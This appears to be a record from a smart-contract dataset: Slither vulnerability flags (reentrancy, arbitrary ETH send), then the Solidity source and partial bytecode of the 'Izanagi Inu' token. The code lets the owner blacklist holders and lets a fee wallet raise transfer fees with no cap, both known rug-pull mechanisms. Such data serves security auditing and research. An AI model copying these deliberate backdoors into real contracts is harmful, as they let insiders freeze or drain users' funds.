00000000006044820152606401610682565b60145481111561185a57600080fd5b6000600d55601254600e55601954600160a81b900460ff16156118875742601a54111561188757605a600e555b6019546001600160a01b0383811691161480156118b257506018546001600160a01b03848116911614155b80156118d757506001600160a01b03831660009081526005602052604090205460ff16155b156118f7576015548111156118eb57600080fd5b6000600d55601354600e555b600061190230610925565b601954909150600160b01b900460ff1615801561192d57506019546001600160a01b03858116911614155b80156119425750601954600160a01b900460ff165b156119685780156119565761195681611b0a565b4780156119665761196647611a01565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806119ac57506001600160a01b03831660009081526005602052604090205460ff165b156119b5575060005b6119c184848484611caf565b50505050565b600081848411156119eb5760405162461bcd60e51b8152600401610682919061275b565b5060006119f884866128aa565b95945050505050565b6016546001600160a01b03166108fc611a1b836002611e26565b6040518115909202916000818181858888f19350505050158015611a43573d6000803e3d6000fd5b506017546001600160a01b03166108fc611a5e836002611e26565b6040518115909202916000818181858888f19350505050158015610b9d573d6000803e3d6000fd5b6000600b54821115611aed5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610682565b6000611af7611e68565b9050611b038382611e26565b9392505050565b6019805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611b6057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611bb457600080fd5b505afa158015611bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bec91906125e9565b81600181518110611c0d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601854611c3391309116846113e8565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c6c9085906000908690309042906004016127e3565b600060405180830381600087803b158015611c8657600080fd5b505af1158015611c9a573d6000803e3d6000fd5b50506019805460ff60b01b1916905550505050565b80611cbc57611cbc611e8b565b6001600160a01b03841660009081526006602052604090205460ff168015611cfd57506001600160a01b03831660009081526006602052604090205460ff16155b15611d1257611d0d848484611eb9565b611e10565b6001600160a01b03841660009081526006602052604090205460ff16158015611d5357506001600160a01b03831660009081526006602052604090205460ff165b15611d6357611d0d848484611fdf565b6001600160a01b03841660009081526006602052604090205460ff16158015611da557506001600160a01b03831660009081526006602052604090205460ff16155b15611db557611d0d848484612088565b6001600160a01b03841660009081526006602052604090205460ff168015611df557506001600160a01b03831660009081526006602052604090205460ff165b15611e0557611d0d8484846120cc565b611e10848484612088565b806119c1576119c1601054600d55601154600e55565b6000611b0383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061213f565b6000806000611e7561216d565b9092509050611e848282611e26565b9250505090565b600d54158015611e9b5750600e54155b15611ea257565b600d8054601055600e805460115560009182905555565b600080600080600080611ecb8761233d565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611efd908861239a565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611f2c908761239a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611f5b90866123dc565b6001600160a01b038916600090815260026020526040902055611f7d8161243b565b611f878483612485565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fcc91815260200190565b60405180910390a3505050505050505050565b600080600080600080611ff18761233d565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150612023908761239a565b6001600160a01b03808b16600090815260026020908152604080832094909455918b1681526003909152205461205990846123dc565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611f5b90866123dc565b60008060008060008061209a8761233d565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611f2c908761239a565b6000806000806000806120de8761233d565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612110908861239a565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054612023908761239a565b600081836121605760405162461bcd60e51b8152600401610682919061275b565b5060006119f8848661286b565b600b546000908190670c55f7bbee083000825b600754811015612302578260026000600784815481106121b057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612229575081600360006007848154811061220257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612244575050600b5493670c55f7bbee0830009350915050565b612298600260006007848154811061226c57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054849061239a565b92506122ee60036000600784815481106122c257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054839061239a565b9150806122fa816128c1565b915050612180565b50600b5461231890670c55f7bbee083000611e26565b821015612334575050600b5492670c55f7bbee08300092509050565b90939092509050565b600080600080600080600080600061235a8a600d54600e546124a9565b925092509250600061236a611e68565b9050600080600061237d8e8787876124fe565b919e509c509a509598509396509194505050505091939550919395565b6000611b0383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119c7565b6000806123e98385612853565b905083811015611b035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610682565b6000612445611e68565b90506000612453838361254e565b3060009081526002602052604090205490915061247090826123dc565b30600090815260026020526040902055505050565b600b54612492908361239a565b600b55600c546124a290826123dc565b600c555050565b60008080806124c360646124bd898961254e565b90611e26565b905060006124d660646124bd8a8961254e565b905060006124ee826124e88b8661239a565b9061239a565b9992985090965090945050505050565b600080808061250d888661254e565b9050600061251b888761254e565b90506000612529888861254e565b9050600061253b826124e8868661239a565b939b939a50919850919650505050505050565b60008261255d575060006105d9565b6000612569838561288b565b905082612576858361286b565b14611b035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610682565b6000602082840312156125de578081fd5b8135611b03816128f2565b6000602082840312156125fa578081fd5b8151611b03816128f2565b60008060408385031215612617578081fd5b8235612622816128f2565b91506020830135612632816128f2565b809150509250929050565b600080600060608486031215612651578081fd5b833561265c816128f2565b9250602084013561266c816128f2565b929592945050506040919091013590565b6000806040838503121561268f578182fd5b823561269a816128f2565b9150602083013561263281612907565b600080604083850312156126bc578182fd5b82356126c7816128f2565b946020939093013593505050565b6000602082840312156126e6578081fd5b8135611b0381612907565b600060208284031215612702578081fd5b8151611b0381612907565b6000806040838503121561271f578182fd5b50508035926020909101359150565b600080600060608486031215612742578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156127875785810183015185820160400152820161276b565b818111156127985783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156128325784516001600160a01b03168352938301939183019160010161280d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612866576128666128dc565b500190565b60008261288657634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156128a5576128a56128dc565b500290565b6000828210156128bc576128bc6128dc565b500390565b60006000198214156128d5576128d56128dc565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146106a957600080fd5b80151581146106a957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201166d8195ffa32a545a9a2536a88015a4eeab5ebcd5a2177ba6e98f9f2ce234164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,368 |
0x7c05da36f1efd8e2aec3b19004aaea60335ac8c2
|
/**
*Submitted for verification at Etherscan.io on 2021-11-04
*/
/**
*
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Izanagi is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
address payable private _feeAddrWallet1 = payable(0xE37b53D82E33A0464274Df3d896f5e32da2b6ad7);
address payable private _feeAddrWallet2 = payable(0x6D662e0caEA7051769B9Aa0d3Af0CE554f34BDFc);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
string private constant _name = "Izanagi Inu";
string private constant _symbol = "IZANAGI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600b81526020017f497a616e61676920496e75000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600c8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f495a414e41474900000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600d8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff16158015611936575060